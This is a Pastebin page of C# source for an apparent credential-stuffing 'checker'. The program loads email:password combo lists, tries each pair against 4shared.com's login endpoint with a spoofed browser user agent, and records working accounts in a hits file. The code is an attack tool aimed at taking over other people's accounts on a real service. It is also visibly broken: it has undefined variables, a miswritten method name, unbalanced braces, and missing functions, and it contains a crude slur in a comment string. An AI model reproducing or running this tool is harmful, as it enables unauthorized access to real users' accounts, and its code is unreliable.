Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Security.Cryptography;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Timers;
- namespace Checker_v1
- {
- internal static class Program
- {
- //Here we declare our strings and ints
- private static string combo = "combo.txt";
- private static Queue<string> comboQueue = new Queue<string>();
- public static Random Random = new Random(Environment.TickCount ^ DateTime.Now.Millisecond);
- private static CookieContainer logincookie;
- private static List<string> multilist = new List<string>();
- private static int loadedcombos = File.ReadLines(Program.combo).Count();
- //This is our main, and no you dont get this by void Main() you know this by where [STAThread] is placed.
- [STAThread]
- public static void Main()
- {
- Console.Writeline("Hello im big gay put what ever you want here");
- foreach (string item in File.ReadLines(Program.combo))
- {
- Program.comboQueue.Enqueue(item);
- }
- Console.Clear();
- Console.WriteLine("Loaded " + Program.comboQueue.Count + " Combos");
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine(value);
- Console.WriteLine("");
- Console.ForegroundColor = ConsoleColor.White;
- Program.TestCombo();
- }
- public static void SplitArray()
- {
- string combo = loadedcombo.Dequeue();
- if (combo != null && combo.Contains(":"))
- {
- string user = combo.Split(new char[]
- {
- ':'
- })[0];
- string pass = combo.Split(new char[]
- {
- ':'
- })[1];
- }
- private static void CheckLogin(string email, string password)
- {
- try
- {
- char[] array = new char[4]
- {
- ':',
- '\0',
- '\0',
- '\0'
- };
- string s = "returnTo=https%253A%252F%252Fwww.4shared.com%252Faccount%252Fhome.jsp&login=" + email + "&password=" + password;
- CookieContainer cookieContainer = new CookieContainer();
- UTF8Encoding uTF8Encoding = new UTF8Encoding();
- byte[] bytes = uTF8Encoding.GetBytes(s);
- HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://www.4shared.com/web/login");
- httpWebRequest.Method = "POST";
- httpWebRequest.KeepAlive = true;
- httpWebRequest.CookieContainer = cookieContainer;
- byte[] array3 = new byte[4];
- Program.Random.NextBytes(array3);
- httpWebRequest.ServicePoint.ConnectionLimit = 9999999;
- httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0";
- httpWebRequest.Timeout = 5000;
- httpWebRequest.Accept = "*/*";
- httpWebRequest.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
- httpWebRequest.ContentLength = bytes.Length;
- Stream requestStream = httpWebRequest.GetRequestStream();
- requestStream.Write(bytes, 0, bytes.Length);
- requestStream.Close();
- try
- {
- WebResponse webResponse = (HttpWebResponse)httpWebRequest.GetResponse();
- Program.logincookie = cookieContainer;
- StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
- string readresponse = streamReader.ReadToEnd();
- streamReader.Close();
- webResponse.Close();
- if (!readresponse.Contains("Invalid e-mail address or password"))
- {
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[HIT] " + email + ":" + password);
- File.AppendAllText("hits.txt", email + ":" + password + Environment.NewLine);
- }
- else
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[Bad]" + email + ":" + password);
- }
- }
- catch (Exception)
- {
- Console.ForegroundColor = ConsoleColor.DarkRed;
- Console.WriteLine("[Bad]" + email + ":" + password);
- }
- }
- catch (Exception) { }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement